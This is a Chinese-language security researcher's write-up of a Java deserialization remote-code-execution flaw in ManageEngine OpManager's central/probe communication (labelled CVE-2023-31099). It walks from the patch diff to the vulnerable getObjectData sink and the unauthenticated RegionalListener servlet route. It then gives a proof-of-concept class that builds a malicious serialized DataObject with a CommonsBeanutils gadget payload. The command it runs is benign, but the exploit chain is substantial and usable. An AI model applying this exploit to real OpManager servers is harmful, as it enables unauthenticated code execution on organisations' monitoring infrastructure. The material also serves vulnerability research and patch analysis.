整理今年的笔记看到这个洞,搜了一下网上好像没公开细节就发出来水一篇。
下载地址: https://archives3.manageengine.com/opmanager/126323/
下载central和probe,安装central之后复制key,再安装probe并指定central地址
调式:修改wrapper.conf
wrapper.java.additional.17=-Xdebug
wrapper.java.additional.18=-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=7007
对比diff找到关键点
OpManagerDistribution.jar!\com\me\opmanager\extranet\remote\communication\fw\DataObject#getObjectData中反序列化操作替换成ITOMObjectInputStream,通过设置白名单的方式进行修复。
public Object getObjectData() { if (!this.isDataEncrypted && this.object != null) { return this.object; } else { ByteArrayInputStream bais = null; ObjectInputStream ois = null; if (this.data != null) { try { byte[] decompressedData = null; byte[] decompressedData; if (this.isDataEncrypted) { decompressedData = EEFrameworkUtil.decryptDataObject(this.data); decompressedData = NmsUtil.decompress(decompressedData); } else { decompressedData = NmsUtil.decompress(this.data); } bais = new ByteArrayInputStream(decompressedData); ois = new ObjectInputStream(bais); this.object = ois.readObject(); } catch (InvalidClassException var14) { this.object = this.getUncheckedUIDData(this.data); } catch (Exception var15) { var15.printStackTrace(); } finally { try { if (ois != null) { ois.close(); } if (bais != null) { bais.close(); } } catch (Exception var13) { var13.printStackTrace(); } } } return this.object; } }
sink点在该类的data字段,如果该字段可控就能实现RCE。
通过调用该类的setter方法设置this.data字段,然后再调用getObjectData就能触发RCE,但是并未找到。
后面熟悉了下功能后,该类应该是用于probe向central传输消息的,所以应该是传输消息过程反序列化DataObject类之后再调用getObjectData方法,最后触发RCE,根据这个思路找到了可直接发送发序列化数据的source点com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener,相关代码如下
发现刚好设置了com.me.opmanager.extranet.remote.communication.fw.DataObject的白名单,继续跟进SPPRegionalCommBE的transferDataToNOC方法:
最终某个分支会调用dataObject.getObjectData()方法触发反序列化,需要满足以下条件:
这些值都来自dataObject类的字段,可控。
poc如下
public class cve_2023_31099 {
public static void main(String[] args) throws Exception {
DataObject obj = new DataObject();
int notificationType = 24;
setField(obj,"notificationType",notificationType);
int dataPriority = 0;
setField(obj,"dataPriority",dataPriority);
Properties userProps = new Properties();
userProps.put("regReqID","qwe");
setField(obj, "userProps",userProps);
Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("CommonsBeanutilsNOCC");
ObjectPayload payload = (ObjectPayload)payloadClass.newInstance();
Object object = payload.getObject("cmd /c echo 1 > c:\\1.txt");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
oos.flush();
byte[] bytes = baos.toByteArray();
byte[] datas = NmsUtil.compress(bytes);
setField(obj, "data", datas);
obj.getObjectData();
FileOutputStream fos = new FileOutputStream("1.ser");
ObjectOutputStream foos = new ObjectOutputStream(fos);
foos.writeObject(obj);
}
}
根据web.xml定位到路由为/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener,这里无需opmanager-central的Cookie,但是需要提供三个Header头